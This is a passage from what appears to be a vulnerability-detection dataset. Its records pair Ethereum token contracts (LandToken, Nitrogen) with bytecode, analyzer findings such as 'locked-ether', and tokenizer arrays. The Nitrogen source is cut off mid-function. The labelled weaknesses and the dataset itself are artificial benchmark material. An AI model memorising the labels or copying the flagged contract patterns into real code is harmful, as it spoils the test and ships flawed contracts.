ffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107fc57600080fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561084a57600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108d557600080fd5b60011515600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561093457600080fd5b61098682600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111d290919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a1b82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111eb90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610aed82600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111d290919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60046020528060005260406000206000915090505481565b600260009054906101000a900460ff1681565b738c1442f868efe200390d9b850264014557a38b4573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c5657600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6006602052816000526040600020602052806000526040600020600091509150505481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610db55780601f10610d8a57610100808354040283529160200191610db5565b820191906000526020600020905b815481529060010190602001808311610d9857829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610dfa57600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610e4857600080fd5b610e9a82600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111d290919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f2f82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111eb90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b738c1442f868efe200390d9b850264014557a38b4573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110b657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156110f257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60056020528060005260406000206000915054906101000a900460ff1681565b60008282111515156111e057fe5b818303905092915050565b60008082840190508381101515156111ff57fe5b80915050929150505600a165627a7a723058201ca73dd1e4f4b68b5cda8c879fbd9a927716130c021d2f27923af9a6f4ae83020029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'constant-function-asm', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2278, 19961, 26224, 2581, 2050, 22932, 18939, 2050, 2620, 2546, 2509, 2278, 2509, 2063, 2620, 2620, 14526, 27814, 2575, 21486, 2549, 9468, 2629, 10354, 29292, 7011, 2487, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2656, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 1014, 1025, 1065, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4487, 2615, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,429
0x96c520a79bf62c955eaa044f600f67e3ecfeff52
/** *Submitted for verification at Etherscan.io on 2019-09-06 */ pragma solidity ^0.5.0; // ---------------------------------------------------------------------------- // 'LandToken' token contract // // Deployed to : // Symbol : LAND // Name : LAND Token // Total supply: 100000000 // Decimals : 18 // // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract LandToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "LAND"; name = "LAND Token"; decimals = 18; _totalSupply = 100000000000000000000000000; balances[0xFC9eC60b9a102Eb34613A09009EF5d82eF089129] = _totalSupply; emit Transfer(address(0), 0xFC9eC60b9a102Eb34613A09009EF5d82eF089129, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () external payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x60806040526004361061011f5760003560e01c8063a293d1e8116100a0578063d4ee1d9011610064578063d4ee1d901461072c578063dc39d06d14610783578063dd62ed3e146107f6578063e6cb90131461087b578063f2fde38b146108d45761011f565b8063a293d1e8146104a4578063a9059cbb146104fd578063b5931f7c14610570578063cae9ca51146105c9578063d05c78da146106d35761011f565b80633eaaf86b116100e75780633eaaf86b1461031657806370a082311461034157806379ba5097146103a65780638da5cb5b146103bd57806395d89b41146104145761011f565b806306fdde0314610124578063095ea7b3146101b457806318160ddd1461022757806323b872dd14610252578063313ce567146102e5575b600080fd5b34801561013057600080fd5b50610139610925565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017957808201518184015260208101905061015e565b50505050905090810190601f1680156101a65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c057600080fd5b5061020d600480360360408110156101d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109c3565b604051808215151515815260200191505060405180910390f35b34801561023357600080fd5b5061023c610ab5565b6040518082815260200191505060405180910390f35b34801561025e57600080fd5b506102cb6004803603606081101561027557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b00565b604051808215151515815260200191505060405180910390f35b3480156102f157600080fd5b506102fa610d90565b604051808260ff1660ff16815260200191505060405180910390f35b34801561032257600080fd5b5061032b610da3565b6040518082815260200191505060405180910390f35b34801561034d57600080fd5b506103906004803603602081101561036457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da9565b6040518082815260200191505060405180910390f35b3480156103b257600080fd5b506103bb610df2565b005b3480156103c957600080fd5b506103d2610f8f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561042057600080fd5b50610429610fb4565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561046957808201518184015260208101905061044e565b50505050905090810190601f1680156104965780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104b057600080fd5b506104e7600480360360408110156104c757600080fd5b810190808035906020019092919080359060200190929190505050611052565b6040518082815260200191505060405180910390f35b34801561050957600080fd5b506105566004803603604081101561052057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061106c565b604051808215151515815260200191505060405180910390f35b34801561057c57600080fd5b506105b36004803603604081101561059357600080fd5b8101908080359060200190929190803590602001909291905050506111f5565b6040518082815260200191505060405180910390f35b3480156105d557600080fd5b506106b9600480360360608110156105ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561063357600080fd5b82018360208201111561064557600080fd5b8035906020019184600183028401116401000000008311171561066757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611215565b604051808215151515815260200191505060405180910390f35b3480156106df57600080fd5b50610716600480360360408110156106f657600080fd5b810190808035906020019092919080359060200190929190505050611448565b6040518082815260200191505060405180910390f35b34801561073857600080fd5b50610741611475565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561078f57600080fd5b506107dc600480360360408110156107a657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061149b565b604051808215151515815260200191505060405180910390f35b34801561080257600080fd5b506108656004803603604081101561081957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115e1565b6040518082815260200191505060405180910390f35b34801561088757600080fd5b506108be6004803603604081101561089e57600080fd5b810190808035906020019092919080359060200190929190505050611668565b6040518082815260200191505060405180910390f35b3480156108e057600080fd5b50610923600480360360208110156108f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611682565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109bb5780601f10610990576101008083540402835291602001916109bb565b820191906000526020600020905b81548152906001019060200180831161099e57829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b6000610b4b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611052565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c14600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611052565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cdd600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611668565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e4c57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561104a5780601f1061101f5761010080835404028352916020019161104a565b820191906000526020600020905b81548152906001019060200180831161102d57829003601f168201915b505050505081565b60008282111561106157600080fd5b818303905092915050565b60006110b7600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611052565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611143600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611668565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080821161120357600080fd5b81838161120c57fe5b04905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156113d65780820151818401526020810190506113bb565b50505050905090810190601f1680156114035780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561142557600080fd5b505af1158015611439573d6000803e3d6000fd5b50505050600190509392505050565b60008183029050600083148061146657508183828161146357fe5b04145b61146f57600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114f657600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561159e57600080fd5b505af11580156115b2573d6000803e3d6000fd5b505050506040513d60208110156115c857600080fd5b8101908080519060200190929190505050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081830190508281101561167c57600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116db57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fea265627a7a7231582071132868daf119dd0b38d9d7a56b4b2d46ac436b494f122507894e1893830b9d64736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2278, 25746, 2692, 2050, 2581, 2683, 29292, 2575, 2475, 2278, 2683, 24087, 5243, 2050, 2692, 22932, 2546, 16086, 2692, 2546, 2575, 2581, 2063, 2509, 8586, 7959, 4246, 25746, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 10476, 1011, 5641, 1011, 5757, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,430
0x96c5eaffe9950ea7432e202cf79c2ae738503d69
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ForeignToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Nitrogen is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; string public constant name = "Nitrogen"; string public constant symbol = "NITRO"; uint public constant decimals = 8; uint256 public totalSupply = 11000000000e8; uint256 public totalDistributed = 0; uint256 public constant MIN_CONTRIBUTION = 1 ether / 100; // 0.01 Ether uint256 public tokensPerEth = 15000000e8; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } function Nitrogen () public { owner = msg.sender; distr(owner, totalDistributed); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function doAirdrop(address _participant, uint _amount) internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function adminClaimAirdrop(address _participant, uint _amount) public onlyOwner { doAirdrop(_participant, _amount); } function adminClaimAirdropMultiple(address[] _addresses, uint _amount) public onlyOwner { for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; // minimum contribution require( msg.value >= MIN_CONTRIBUTION ); require( msg.value > 0 ); // get baseline number of tokens tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (tokens > 0) { distr(investor, tokens); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } // mitigates the ERC20 short address attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { // mitigates the ERC20 spend/approval race condition if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); 